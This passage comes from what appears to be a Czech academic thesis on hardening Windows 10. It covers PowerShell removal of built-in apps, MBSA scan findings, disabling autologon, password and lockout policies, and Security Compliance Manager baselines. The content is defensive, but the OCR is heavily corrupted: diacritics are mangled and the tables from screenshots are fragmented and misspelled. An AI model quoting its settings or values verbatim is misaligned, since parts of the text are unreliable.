ucet byl odstranén a Guest ucet zakazan. Dale je nutné provést kontrolu zapnuti automatickych
aktualizaci a v ptipad€ dostupnych aktualizaci, provést aktualizaci systému. Dale by m¢l byt
zapnut Windows Defender, ktery v realném case kontroluje aplikace a je schopen zastavit
podezielé aplikace pred spusténim. Zaroven je vhodné zapojit Windows Defender do sdilené

sit¢ Microsoftu, za i¢elem odesilani podezielych soubort a tim i lepsi funkce tohoto programu.

Nemeén¢ dulezité je odinstalovat a zakézat nepouZzivané funkce ¢i programy, které byly ziskany
S operacnim systémem. Neaktualizované programy mohou byt zdrojem problému. Prikladem
mohou byt rizné produkty od Adobe (Flash, Reader) a mnoho dalSich. Problémim se
nevyvaruji ani produkty od Microsoft (Office), aproto je nezbytné udrzovat piehled
0 aktualizacich a v pfipadé€ uvetfejnéni nové aktualizace, by program mél byt nahrazen nov¢jsi
verzi. V daném ptipad¢é byl z operacniho systému odstranén SkyDrive a zakizano veliké

mnozstvi build-in aplikaci, které ptiSly s opera¢nim systémem.

Odstranovani build-in aplikaci u Windows 10 neni pravé jednoduchym tkolem, jelikoz jich je
opravdu zna¢né mnozstvi a vV normalnim piipadé¢ Windows ani nenabizi jejich odstranéni.
Aplikace se sice ukdze v seznamu vSech nainstalovanych aplikaci v novych ovladacich
panelech. Nicmén¢ nelze s ni nic délat, mimo resetovani a smazani uZivatelskych dat. Prvni
moznosti jak odinstalovat takovou aplikaci je, najit ji v nabidce start a pravym tlacitkem vybrat
odinstalovani. Problémem vSak je, Ze ani tak neni moZné odinstalovat veskeré nepotiebné

aplikace, jelikoz Windows dovoli odinstalovat pouze nékteré jako je Skype.
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V takové chvili nastupuje Windows Power Shell, ktery umoziuje odinstalovani vétSiny
vestavénych aplikaci. Bohuzel, nékteré aplikace po vzoru jinych vyrobcl operacnich systému
neni mozné uplné odstranit, ale pouze zakéazat. Naprosto nelogicky je uzivatelim nabizena tieba
funkce pro Xbox a kromé vypnuti funkcionality s ni neni mozné viubec nic dé€lat. Ukazka

ptikazu do PowerShellu, ktery odstrani App Connector:
get-appxpackage *appconnector* | remove-appxpackage
Ptikaz odstranujici vétSinu vestavénych aplikaci pro vSechny uzivatele:
Get-AppxPackage -allusers | Remove-AppxPackage

Pro vypis vSech nainstalovanych aplikaci je mozné pouzit shell:appsfolder ktera zobrazi

veskeré nainstalované aplikace.

Po provedeni odstranéni nezidoucich aplikaci dojde k vyraznému zeStihleni nabidky

nepotiebnych aplikaci a zdroju potencialnich hrozeb.

Zapomenout by se nemélo ani na instalaci antivirového softwaru, ktery bude kontrolovat
spravny chod systému a v realném Case reagovat na malware. Uzivatel mize zvolit a spokojit
se s béZznym Windows Defenderem, nicméné paklize je provadén hardening, mél by byt na
systém nainstalovan plnohodnotny antivirus. Nejen instalaéni soubor opera¢niho systému, by
m¢él byt ziskan z ovéfenych nebo divéryhodnych zdroju, stejné tak i dalsi instalovany software

véetné antivirového programu, by mél pochazet z oficidlnich stranek vybrané spole¢nosti.

Pro testovaci ucely byl vybran ESET Smart Security, ktery disponuje vlastnim firewallem

a obsahuje anti-phishing ochranu.

Po nakonfigurovani téchto zakladnich nastaveni je mozné spustit pomocny nastroj Microsoft
Baseline Security Analyzer, ktery oskenuje operacni systém a vyhodnoti potencialni hrozby

a provede doporuceni nastaveni.
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Security Update Scan Results

Score Issue Result

& S0L Server Mo security updates are missing,
Security What was scanned  Result details
Updates

& Silverlight Mo security updates are missing.
Security What was scanned  Result details
Updates

& Windows Mo security updates are missing.
Security What was scanned  Result details
pdates

Obrazek 36 - MBSA - vysledky skenu, Zdroj: Viastni

Windows Scan Results

Administrative Vulnerabilities

Score Issue Result
W Automatic The Automatic Updates system service is not configured to be started as Automatic.
Updates What was scanned How to correct this
%) Autologon Autologon is configured on this computer.
What was scanned How to correct this
o Incomplete A previous software update installation was not completed. You must restart your computer to finish the installation, If the incomplete installation was a security update, then the
Updates computer may be at risk until the computer is restarted.
What was scanned How to correct this
' Password All user accounts {5) have non-expiring passwords,
Expiration What was scanned  Resultdetails  How to correct this
0 Windows Windows Firewall is disabled and has exceptions configured.
Firewall What was scanned  Resultdetails  How to correct this
@ Local Account Some user accounts (3 of 5) have blank or simple passwords, or could not be analyzed.
PasswordTest  \whatwasscanned  Result detais
& File System All hard drives (1) are using the NTFS file system,
What was scanned  Result details
& Guest Account  The Guest account is disabled on this computer,
What was scanned
& Restrict Computer is properly restricting anonymous access.
Anonymous What was scanned
g Administrators Mo more than 2 Administrators were found on this computer,

What was scanned  Result details

Obrazek 37 - MBSA — analyza, Zdroj: Viastni

MBSA odhalil nékolik slabin, které je nutné opravit ¢i zkontrolovat. Ackoliv MBSA sken
oznacil jako problém nenastaveni automatickych aktualizaci, je v nastaveni povoleno i nabizeni
aktualizaci pro ostatni produkty od spolecnosti Microsoft. Zaroven také potvrdil, ze vSechny

existujici bezpecnostni aktualizace jsou stazené a nainstalované.
Odstranéni automatického logovani do systému

Pouzivani autologinu je vaZnym bezpecnostnim problémem, jelikoz logujici se uzivatel obchazi
ctrl+alt+del dialog, ktery zabranuje login spoofingu. Pro odstranéni automatického logovani je
nutné zasdhnout do registri systému, vyhledat azménit hodnotu AutoAdminLogon

a DefaultPassword, ve slozce:

HKEY LOCAL MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Uzivatelské ucty

Jednou z nalezenych hrozeb byla existence vice ucti anulového nebo znaéné slabého
zabezpeceni jednotlivych ucti.
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Samotny vypis uctd na ovladacich panelech zobrazoval pouze jediny ucet. AvSak vypis

Vv ptikazovém fadku nasel vétsi mnozstvi G¢tl, 1 kdyz neaktivnich.

IEUser
R Local Account
Administrator

Password protected

BE C\Windows\system32\cmd.exe

Add a new userin PC

Y

Obrazek 38 - uzivatelské acty, Zdroj: Viastni
Vypis uctl z prikazového tadku také potvrdil seznam uZzivatelli, zobrazeny ve Spravé pocitace,
ktery nejen Zze potvrdil existenci ucth, ale také zobrazil ijejich popisy. Jednd se
0 preddefinované cty, slouzici ke sprave systému a domény. K jednotlivym Gétiim je mozné

nastavit slozit&jsi hesla a tcet, ktery je zde nadbytecny potieba smazat - sshd.

Mame Full Mame Description

E;D'Administratur Built-in account for administering the computer/doermain
E*.: Defaultficco... A user account managed by the system.

E*l:: Guest Built-in account for guest access to the computer/dormain
;F [EUser [EUser [EUser

E*.: sshd sshd privsep

Obrazek 39 - pieddefinované uéty, Zdroj: Viastni

Dal§im z problémt, ktery sken odhalil, byla neexistence expirace hesla. Pro udrzovani
bezpecnosti by meélo byt heslo pravidelné obmeénovano. Pro nastaveni expirace hesla

V properties uZivatele odSkrtnout moznost ,,Heslo je platné stale®.
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|EUser Properties ? *

General  Member Of  Profile

* IEUser

Full name: | |IEUser |

Description: ‘ |EUser ‘

[ User must change password at next logan
[ User cannot change password

[] Password never expires

[ Accourt is disabled

Account is locked out

Obrazek 40 - platnost hesla, Zdroj: Viastni
Zhotoveny sken dale upozornil na vyjimky z hlediska nastaveni firewallu. Uvedené vyjimky se
vztahuji na pouziti externiho softwaru, jenz provozuje firewall namisto zabudovaného

Windows Firewall.

Score  Issue Result

0 Auditing Neither Logon Success nor Logon Failure auditing are enabled. Enable auditing and turn on auditing for specific events such as logon and logoff. Be sure to monitor your event log to
watch for unauthorized access,
What was scanned How to correct this

0 Services No potentially unnecessary services were found.
What was scanned

o Shares 2 share(s) are present on your computer.
What was scanned  Resultdetails  How to correct this

0 Windows Computer is running Microsoft Windows Unknown,

Version What was scanned

Obrazek 41 - MBSA - dodateéné informace, Zdroj: Viastni

Microsoft Baseline Security Analyzer dale poskytuje administratorovi provadéjici hardening
dodatecné informace a potencidlni hrozby, jenz by mély byt provéteny. Program také provedl
oskenovani portil a nezjistil zddné potencidlné nebezpecné a oteviené porty. Varuje vSak pred
sdilenymi slozkami a doporucuje kompletni vypnuti sdilenych slozek, paklize nejsou pottebné.
Nebo doporucuje omezit pfistup uzivatelim, jenz nepotiebuji sdilené slozky pouzivat. Za

pomoci spravce pocitace je mozné odstranit sdilené slozky z pocitace.

o= HEE 6=

A (;omputerManagement (Local | Share Name  Folder Path Type
v ([} System Tools y Windows
@ Task Scheduler Stop Sharing
{2 Event Viewer
v ] Shared Folders All Tasks >
i Shares Refresh

Obrazek 42 - odstranéni sdilenych sloZek, Zdroj: Viastni
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Internet Information Services (IIS) Scan Results

Score Issue Result
- 115 Status 115 is not running on this computer,

S0L Server Scan Results

Score Issue Result
= S0L SOL Server andfor MSDE is not installed on this computer,
Server/MSDE
Status

Desktop Application Scan Results

Administrative Vulnerabilities

Score Issue Result

) IE Zones Internet Explorer zones have secure settings for all users,
What was scanned
— Macro Security Mo supported Microsoft Office products are installed.

Obrazek 43 — MBSA - vysledky skenu, Zdroj: Vlastni
Dalsi vysledky se uz jen vénuji chybé&jicim sluzbam, které nemohly byt oskenované, nebot’

nejsou nainstalované.

V této chvili bylo provedeno nejzékladnéjsi nastaveni. Dale mliZe administrator, ktery provadi
hardening postupovat instalaci MSCM nebo dohledanim checklistu, ktery nejlépe vystihuje
vlastni potfeby nebo potieby organizace, pro kterou je hardening provadény. Pokud
provadény manualné. Zaroven administrator musi byt znaly problematiky, systému a jeho
konfigurace. |tak se bude jednat o zdlouhavou a pomalou konfiguraci, plnou dohledavani

riznych informaci & moznosti nastaveni.

Jednodusi, rychlejsi a rozhodné piijatelné;si cestou je Microsoft Security Compliance Manager.
SCM, tento program je vSak nutné stdhnout z oficidlnich stranek, ktery je v soucasné¢ dobé
nabizen ve verzi 4.0, nicméné samotny instalaéni soubor neobsahuje aktudlni databazi. Paklize
je stejné jako zde, provadén hardening Windows 10 je nezbytné aktualizovat databazi Microsoft

Baseline.

Nyni miize administrator vybrat, ktery systém bude podroben hardeningu a vybere pozadovany
checklist. Vyhodou MSCM je jednoduchad sprava azména nastaveni. Jelikoz po zvoleni
pozadovaného checklistu mize administrator okamzité ménit jednotliva nastaveni, aniz by je
zbyte¢n¢ musel dohledavat at’ uz v registrech nebo na riiznych mistech v opera¢nim systému.

Sprava a zména nastaveni je tak velmi snadna a intuitivni. Kazdy checklist a kazda polozka
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obsahuje popisy jednotlivych funkcionalit. AvSak ptedtim, nez je mozné jednotlivé nastaveni

upravovat je nezbytné duplikovat checklist a vytvofit si vlastni.

@ Authentication Types 40 Setting(s)
Interactive logon: Require smart card Mot Defined Importai Computer Configurati

Caollapse Customize this setting by duplicating the baseline

Severity:  Important
Value must be equal to Mot Defined.
Not Defir Comments:

Customize setting value

(~) Setting Details

Obrazek 44 - MSCM - vytvoreni vlastniho pravidla, Zdroj: Viastni

Vlastni baseline 2.0 1.0 580 unigque setting(s)

@ Advanced View

Name Default Microsoft Customized Severity Path

(~) Authentication Types 40 Settingls)
Interactive logon: Require smart c; Not Defined Disabled Important Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Require digits Not Configured  Not Configured  None Computer Configuration\Administrative Templates\Windows Components\Microsoft Passport for We
Use Microsaft Passpart for Work Mot Configured Mot Configured  Mone Computer Configuration\Administrative Templates\Windows Components\Microsoft Passport for We
Metwork access: Let Everyone permis Disabled Disabled Disabled Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Maximum PIN length Mot Configured Mot Configured  Mone Computer Configuration\Administrative Templates\Windows Components\Microsoft Passport for We
Minimum PIN length Not Configured  Not Configured  None Computer Configuration\Administrative Templates\Windows Components\Microsoft Passport for We
Allow Basic authentication Disabled Disabled Disabled Important Computer Configuration\Administrative Templates\Windows Components\Windows Remote Manage
Interactive logon: Number of previou 10 logons Not Defined Not Defined Cptional Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Micrasoft network client: Send unenc Disabled Disabled Disabled Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Metwork Security: Restrict NTLM: Auc Not defined Not Defined Not Defined Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Allow Basic authentication Disabled Disabled Disabled Important Computer Configuration\Administrative Templates\Windows Components\Windows Remote Manage
Require lowercase letters Mot Configured ~ Not Configured  None Computer Configuration\Administrative Templates\Windows Components\Microsoft Passport for We
Disallow Digest authentication Disabled Enabled Enabled Important Computer Configuration\Administrative Templates\Windows Components\Windows Remote Manage
Metwork Security: Restrict NTLM: Out Not defined Mot Defined Mot Defined Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Interactive logon: Smart card remova Mo Action Lock Workstation Lock Workstation Important Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Require special characters Mot Configured ~ Not Configured  None Computer Configuration\Administrative Templates\Windows Components\Microsoft Passport for We
Restrict Unauthenticated RPC clients Disabled Enabled Enabled Critical Computer Configuration\Administrative Templates\System\Remote Procedure Call
Metwork security: Allow LocalSystem Disabled Disabled Disabled Important Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Interactive lagon: Machine account lc 0 10 invalid logon a 10 invalid logon & Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Metwork security: Minimum session ¢ No minimum Require NTLMv2 ¢ Require NTLMv2 = Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Network security: Do nat store LAN | Enabled Enabled Enabled Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Metwork Security: Allow PKU2U auth: Disabled Disabled Disabled Important Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Require uppercase letters Not Configured Mot Configured ~ None Computer Configuration\Administrative Templates\Windows Componentsi\Microsoft Passport for We
Metwork security: Allow Local System Enabled Enabled Enabled Important Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Micrasoft netwark server: Server SPN Off Accept if provider Accept if providec Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Support device authentication using Mot Configured ~ Not Configured  None Computer Configuration\Administrative Templates\System\Kerberos
Assign a default credential provider Not Configured Mot Configured ~ None Computer Configuration\Administrative Templates\System\Logon
Metwork Security: Restrict NTLM: Ince Not defined Not Defined Not Defined Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Use a hardware security device Not Configured Mot Configured ~ None Computer Configuration\Administrative Templates\Windows Componentsi\Microsoft Passport for We
Allow the use of biometrics Enabled Not Configured Mot Configured  Important Computer Configuration\Administrative Templates\Windows Components\Biometrics
Network Security: Restrict NTLM: Auc Not defined Not Defined Not Defined Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Metwork security: LAN Manager auth Send NTLMv2 Res Send NTLMv2 res) Send NTLMv2 res; Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Network Security: Restrict NTLM: Adc Not defined Not Defined Not Defined Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Metwork Security: Restrict NTLM: Ade Not defined Not Defined Not Defined Critical Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options

Obriazek 45 - MSCM - Computer Security Compliance, Zdroj: Viastni
Jednim z checklistt, které je mozné pouzit k hardeningnu je Computer Security Compliance,
tento checklist obsahuje 560 unikatnich nastaveni, které mohou dopomoci k dosazeni shody
S bezpecnostnimi pravidly. Kazdé pravidlo obsahuje popis, co jednotlivd zména provede, pro¢

je dilezita a hlavng, jak moc je nastaveni takového pravidla podstatné.
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Kupftikladu hned prvni pravidlo se tykd zabezpeceni uZzivatelského piistupu. Uzivatel musi
disponovat bezpecnostni kartou nebo tokenem - zafizenim, které se pouzije pro piihlaseni.
Pravidlo je pfimou reakci na nespolehlivost uzivatelti pamatovat si siln¢jsi hesla a zaroven na
negativni reakce uzivateld pfi vynuceni zmény hesla. Podobné pravidlo je naro¢né na zdroje,

aby mohlo byt aplikovano, je nezbytné zakoupit ¢tecky, karty/tokeny a vytvofit bezpecné

vetejné kli¢e. Proto v modelovém ptipadé¢ neni aplikovano.

SFWT T At s

ntelactive logon: Require smart i Not Defined
Collapse Severity:
Value must be equal to Disabled.
Comments:

Customize setting value |Disabled

(») Setting Details
Ul Path:

Disabled Important

Important i

Description:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options

Vulnerability:

Microsoft recommends that you use this setting, if appropriate to
your environment and your organization's business requirements, to
help protect end user computers. This policy setting requires users
to log on to a computer with a smart card.

Note: This setting applies to Windows 2000 computers, but it is not
available through the Security Configuration Manager tools on these
computers.

Additional Details:

It can be difficult to make users choose strong passwords, and even
strong passwords are vulnerable to brute-force attacks if an attacker
has sufficient time and computing resources.

Potential Impact:

CCE-41838-4

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
\scforceoption
REG_DWORD:0

All users of a computer with this setting enabled will have to use
smart cards to log onto the local computer, which means that the
organization will need a reliable public key infrastructure (PKI) as
well as smart cards and smart card readers for these users. These
requirements are significant challenges, because expertise and
resources are required to plan for and deploy these technologies.

However, Windows Server includes Active Directory Certificate
Services, a highly advanced service for implementing and managing
certificates. When Certificate Services is combined with Windows 7,

Computer Configuration\Windo:

Windows 8.1, or Windows 10, features such as automatic user and
computer enrollment and renewal become available. For more
information about deploying Smart Cards, see "Windows Smart Card
Technical Reference” at http://technet.microsoft.com/en-us/library/
f404297 (v=ws.10).aspx.

Obrizek 46 - nastaveni pravidel, Zdroj: Viastni

V nékterych ptipadech, je nutné vyhledat jednotliva pravidla pomoci internetu nebo dohledat

je v riznych checklistech a zjistit jaka jsou doporuceni.

Jednou z takovych situaci je Interaktivni pfihlasovani a pocet predchozich ptihlaseni, ulozeny
V paméti cache. Za normdlnich okolnosti neni hodnota v checklistu definovand a vychozi
hodnota je 10. AvSak naptiklad Hardening Guide for Windows 8.1, vydana Australskym
centrem pro kybernetickou bezpecnost v ¢ervnu 2017, doporucuje néco jiného - pouze jedno
piihlaseni ulozené v paméti Security Accounts Manager. Je to z toho dtivodu, ze funkcionalita
dovoluje dfive pfihlaSenym uzivatelim znovu se pftihlasit, i kdyz doména neni aktualné
dostupna. Ackoliv miize byt funkce z hlediska dostupnosti uzitetna a zadouci, mize byt

I nebezpecna, paklize dojde k zcizeni téchto ulozenych udaju.
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l2ig| Interactive logen: Prompt user to change password before e..

d Interactive logon: Mumber of previcus logons to cache (in c...

10 logons

5 days

Obrazek 47 - Lokalni bezpe¢nostni politiky, Zdroj: Viastni

Jednim z dalSich nastaveni politiky je uzamknuti uzivatelského uétu po

r

nepovedenych piihlaseni.

Interactive logon: Machine account lock 0

uréitém poctu

Collapse

Value must be equal to 5 invalid logon attempts.
["] Not Defined

Customize setting value 5 | invalid logon attempts
The value can range from 0 to 999.
(~) Setting Details

Ul Path:

10 invalid logon 5 invalid logon a Critical Computer Configurat
Severity: | Critical v |
Comments:

Description:

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options

Vulnerability:

The machine lockout policy is enforced only on those machines that
have Bitlocker enabled for protecting OS volumes. Please ensure
that appropriate recovery password backup policies are enabled.
This security setting determines the number of failed logon
attempts that causes the machine to be locked out. A locked out
machine can only be recovered by providing recovery key at
console. You can set the value between 1 and 999 failed logon
attempts. If you set the value to 0, the machine will never be locked
out. Values from 1 to 3 will be interpreted as 4.

Failed password attempts against workstations or member servers
that have been locked using either CTRL+ALT+DELETE or password
protected screen savers counts as failed logon attempts.

The machine lockout policy is enforced only on those machines that
have Bitlocker enabled for protecting OS volumes. Please ensure

Additional Details:

that the appropriate recovery password backup policies are enabled.

This policy setting determines the number of failed logon attempts
before a lock occurs. Authorized users can lock themselves out of
the computer by mistyping their password or by remembering it
incorrectly, or by changing their password on one computer while
logged on to another computer. The computer with the incorrect
password will continuously try to authenticate the user, and because
the password it uses to authenticate is incorrect, a lock occurs. To
avoid accidental lockout of authorized users, set the account lockout
threshold to a high number. The default value for this policy setting
is 0 invalid logon attempts, which disables the machine lockout
feature. There are two options to consider for this policy setting.

- Configure the value for Machine lockout threshold to 0 to ensure
that accounts will not be locked out. This setting value will reduce
help desk calls, because users will not be able to lock themselves out
of their accounts accidentally. However, this setting value will not
prevent a brute force attack. The following defenses should also be
considered:

Obrazek 48 - nastaveni uzamcéeni uZivatelského uétu, Zdroj: Viasmi

Vysledkem nastaveni bezpecnostnich politik pro logovani do systému muze byt nasledujici
vystup. Jednotliva nastaveni se mazou li§it od bezpeénostnich politik Microsoftu z toho
davodu, Ze bylo vyhodnoceno pouziti jinych nebo ptisnéjsich bezpecnostnich pravidel nez jsou

doporucované.
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Name

() Authentication Types 40 Setting(s)
Interactive logon: Require smart card
Require digits
Use Microsoft Passport for Work

MNetwork access: Let Everyone permissions apply to anonymous users

Maximum PIN length
Minimum PIN length

Allow Basic authentication

Interactive logon: Number of previous logons to cache (in case domain controller is nc
Microsoft network client: Send unencrypted password to third-party SMB servers
Network Security: Restrict NTLM: Audit NTLM authentication in this domain

Allow Basic authentication
Require lowercase letters

Disallow Digest authentication

MNetwork Security: Restrict NTLM: Outgoing NTLM traffic to remote servers

Interactive logon: Smart card removal behavior
Require special characters
Restrict Unauthenticated RPC clients

Network security: Allow LocalSystem NULL session fallback

Interactive logon: Machine account lockout threshold

Network security: Minimum session security for NTLM SSP based (including secure RPC) clie
MNetwork security: Do not store LAN Manager hash value on next password change

MNetwork Security: Allow PKU2U authentication requests to this computer to use online ident

Require uppercase letters

MNetwork security: Allow Local System to use computer identity for NTLM

Microsoft network server: Server SPN target name validation level

Support device authentication using certificate

: default credential .
Assign a cr P T

MNetwork Security: Restrict NTLM: Incoming NTLM traffic

Use a hardware security device

Allow the use of biometrics

Default

Disabled

Disabled

10 logons
Disabled
Not defined
Disabled

Disabled
Not defined
Mo Action

Disabled
Disabled

0

No minimum
Enabled
Disabled

Enabled

Off

Not defined

Enabled

Microsoft

Not Defined
Not Configured
Not Configured
Disabled

Not Configured
Not Configured
Disabled

Not Defined
Disabled

Not Defined
Disabled

Not Configured
Enabled

Not Defined
Lock Waorkstation
Not Configured
Enabled

Disabled

10 invalid logon
Require NTLMw2 =
Enabled

Disabled

Not Configured
Enabled

Accept if providec
Not Configured
Not Configured
Mot Defined

Not Configured
Not Configured

Customized

Disabled
Enabled
Disabled
Disabled
Disabled
Enabled

Disabled

1 logon(s)
Disabled

Enable for doma
Disabled

Mot Configured
Disabled

Audit all

Lock Workstation
Enabled

Enabled

Disabled

5 invalid logon a
Require NTLMw2 =
Enabled

Disabled
Enabled

Enabled

Accept if providec
Disabled
Disabled

Mot Defined

Mot Configured
Enabled

Sewverity

Important
None
None
Critical
None
None
Important
Optional
Critical
Critica
Important
None
Important
Critica
Important
None
Critical
Important
Critica
Critical
Critical
Important
None
Important
Critical
None
None
Critical
None

Important

Obrazek 49 - Typy autentizace do systému, Zdroj: Vlastni

V ramci bezpecnostnich politik je mozné nastavit, jaké udalosti budou logované. Opét je zde

rozdil mezi vychozimi hodnotami a doporuc¢enimi Microsoftem.

Audit Palicy: System: Security System Extension No auditing Success and Failur Success and Failur Critical
Audit Policy: Logon-Logoff: Logon Success Success and Failur Success and Failur Critical
Audit Palicy: Object Access: Application Generated No auditing Not Defined Not Defined Critical
Audit Policy: Detailed Tracking: Process Creation No auditing Success Success Critical

Audit Policy: Account Logon: Credential Validation No auditing Success and Failur Success and Failur Critical

Audit Palicy: Account Management: Distribution Group Management No auditing Not Defined Not Defined Critical
Audit Palicy: Logon-Logoff: IPsec Extended Mode No auditing Not Defined Not Defined Critical
Audit Palicy: Object Access: Filtering Platform Packet Drop Mo auditing MNot Defined Mot Defined Critical
Audit Policy: Policy Change: Audit Policy Change Success Success and Failur Success and Failur Critical

Obrazek 50 - Logovani udalosti, Zdroj: Viastni

Mezi dalsi funkcionality, kterym je nutné vénovat pozornost je nastaveni spousténi AutoRunu.

V dalSich pfipadech je inutné zvazit zakazani instalace odnimatelnych zafizeni. Zavedeni

takovéto bezpecnostni politiky mize byt v nékterych ptipadech zadouci. Kupiikladu jsou

znam¢ situace, kdy utocnik nahraje skodlivy kod na flash disky a tyto disky jakoby ndhodou
85



vytrousi pied budovou spolecnosti, 0 jejichz napadeni ma eminentni z4jem. Nejednou se jiz
stalo, ze se naSel alesponl jeden aktivni zaméstnanec, ktery nebyl dostatecn¢ seznameny
S bezpecnostni firemni politikou a nalezenou flesh pamét piipojil k pocitaci, odkud se
nevédomky S§ifil Skodlivy kod. Podobnym situacim lze zabranit. At uz dostateCnym Skolenim
jednotlivych zaméstnanct nebo pravé systémovou bezpecnostni politikou. Nastaveni pres své
vyhody jako je i nemoznost zcizeni divérnych informaci pomoci vyjimatelného zatizeni ma
i své nevyhody. Jednim z nich je pravé nemoznost cileného piesouvani a sdileni dat. Jedinou
moznosti potom je vytvoreni centralné spravovaného bezpecného ulozisté, které bude slouzit

pro sdileni dat mezi lidmi a oddé€lenimi.

Name Default Microsoft Customized Severity
Set the default beh;vior for Auto Ru; Disabled Enabled Enabled Critical
Metwork access: Allow anonymeous SID/MName translation Disabled Disabled Disabled Critical
Prevent installation of removable devices Mot Configured Enabled MNone
Turn off Autoplay Disabled Enabled Enabled Critical
Specify intranet Microsoft update service location Not Configured  Not Configured  Critical
Do not enumerate connected users on domain-joined computers Disabled Enabled Enabled Important

Obrazek 51 - baseline konfigurace, Zdroj: Viastni

Dale je mozné zakazat instalaci aplikaci z Windows Store a jejich aktualizace, zakazani
asistenta Cortana nebo moznost lokalizace systému. Je mozné nastavit také, kdo muze
spravovat firewall, logovani jednotlivych udalosti, navazanych spojeni nebo pakett, které jsou

vEtsi nez nastaveny limit.

Vhodné je také zakéazat ukladani ptfihlaSovacich jmen a hesel do ostatnich zatfizeni v siti.

Nastavit pfipominani uzivateli, Ze by mél zménit své heslo.

Damain member: Disable machine account passward changes Disabled Disabled Disabled Critical
Accounts: Limit local account use of blank passwords to consele logon only Enabled Enabled Enabled Critical
Metwork access: Do not allow storage of passwords and credentials for network authenticati Disabled Enabled Enabled Critical
MNetwork security: Do not store LAN Manager hash value on next password change Enabled Enabled Enabled Critical
Require a Password When a Computer Wakes (On Battery) Enabled Enabled Enabled Critical
Do not allow passwords to be saved Disabled Enabled Enabled Critical
Interactive logon: Prompt user to change password before expiration 5 Not Defined 7 day(s) Critical
Turn off picture password sign-in Not Configured Disabled Optional
Require a Password When a Computer Wakes (Plugged In) Enabled Enabled Enabled Critical
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MS55S: (ScreenSaverGracePeriod) The time in seconds before the screen saver grace peri 5 Mot Configured Disabled MNone

Interactive logon: Display user information when the session is locked Not defined MNot Defined Do not display u: Important
MNetwark security: Force logeff when logon hours expire Disabled Enabled Enabled Impartant
Microsoft netwark server: Amount of idle time required before suspending session 15 minutes 13 minute(s) 13 minute(s) Critical
Microsoft network server: Disconnect clients when logon hours expire Enabled Mot Defined Disabled Critical
Interactive logon: Message text for users attempting to lzg on Net defined Not Defined Not Defined Critical
Interactive logon: Machine inactivity limit Net defined 900 seconds 900 seconds Critical

Obrazek 52 - konfigurace relaci, Zdroj: Viastni

Jednou ze zajimavych moznosti jak postupovat v hardeningu je také zakazani odesilani
telemetrie spole¢nosti Microsoft. Ackoliv se ve vétSin¢ piipadi doporucuje nechat funkci
zapnutou. S Windows 8 pfislo rozsifeni odesilani telemetrickych dat spolecnosti Microsoft.
Prestoze stale nebyl zvefejnén kompletni seznam dat, které jsou ziskdvané ze zatizeni
provozujici Windows, odesilanych informaci je mnoho. Telemetricka data obsahuji a sbiraji
informace o0 nainstalovaném hardware (instalované paméti, CPU a dals$i). Dale obsahuji
seznamy instalovanych aplikaci, ovladaci nebo ito, jak uzivatel pracuje se systémem. Pti
povoleni vysokého mnozstvi odesilanych dat se mize Microsoft dostat i k citlivym informacim
tykajici se nejen zabezpeceni, ale i chodu organizace ¢i spole¢nosti.

Allow Telemetry Not Configured Disabled None

Collapse

A = > Severity: | None >
(U Not Configured (U Enabled (® Disabled Option Help Text

Comments:
Unnamed value

(#) Setting Details
Ul Path:

Computer Configuration\Administrative Templates\Windows Components\Data Collection and Preview Builds

Description: Vulnerability:

This policy setting determines the amount of diagnostic and usage Disabling or not configuring this setting will allow a user to

data reported to Microsoft, A value of 0 indicates that no telemetry ~ determine the amount of diagnostic and usage Telemetry data is
data from OS components is sent to Microsoft. Setting a value of 0 reported to Microsoft, which may disclose confidential information.
is applicable to enterprise and server devices only. Setting a value of

$Eaa : : Potential Impact:
0 for other devices is equivalent to choosing a value of 1. A value of

1 sends only a limited, or basic, amount of diagnostic and usage Users cannot determine the amount of diagnostic and usage
data. Note that setting values of 0 or 1 will degrade certain Telemetry data that is reported to Microsoft.
experiences on the device, A value of 2 sends enhanced diagnostic Countermeasure:

and usage data. A value of 3 sends the same data as a value of 2,
plus additional diagnostics data, such as the system state at the time
of a hang or crash, and the files and content that may have caused
the problem.

Enable and configure this setting depending on your organization's
requirements.

If you disable or do not configure this policy setting, users can
configure the Telemetry level in Settings.

Obrazek 53 - odesilani telemetrie, Zdroj: Viasmi
Jednou z moznosti zabezpeCeni systému je absolutni zakazani instalovani aplikaci
Z neovéienych zdrojii. Pokud administrator nezakazal instalaci aplikaci z Windows Store, mize
obyCejny uzivatel bez administratorskych prdv, nainstalovat nékteré nové aplikace.

Administrator mize povolit skenovani zabalenych soubort obsahujici spustitelné soubory.
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Paklize Windows Defender nalezne Skodlivy kod umistény v zazipovaném souboru, miize ho

zakazat ¢i odstranit.

Scan packed executables Mot Configured Enabled MNone
Specify the interval to check for definition updates Not Configured Enabled MNone
Scan network files Mot Configured Enabled MNone
User Account Control: Run all administrators in Admin Approval Maode Enabled Enabled Enabled Critical
Always install with elevated privileges Disabled Disabled Disabled Opticnal
Apply UAC restrictions to local accounts on network logons Enabled Enabled Enabled Impartant
Check for the latest virus and spyware definitions on startup Mot Configured Enabled Mone

Obrazek 54 - Podrobnéjsi nastaveni UAC a Windows Defender, Zdroj: Vlastni

Jak uZ bylo zminéno, tato konkrétni baseline obsahuje ptes 500 pravidel a kazdé z nich je nutné
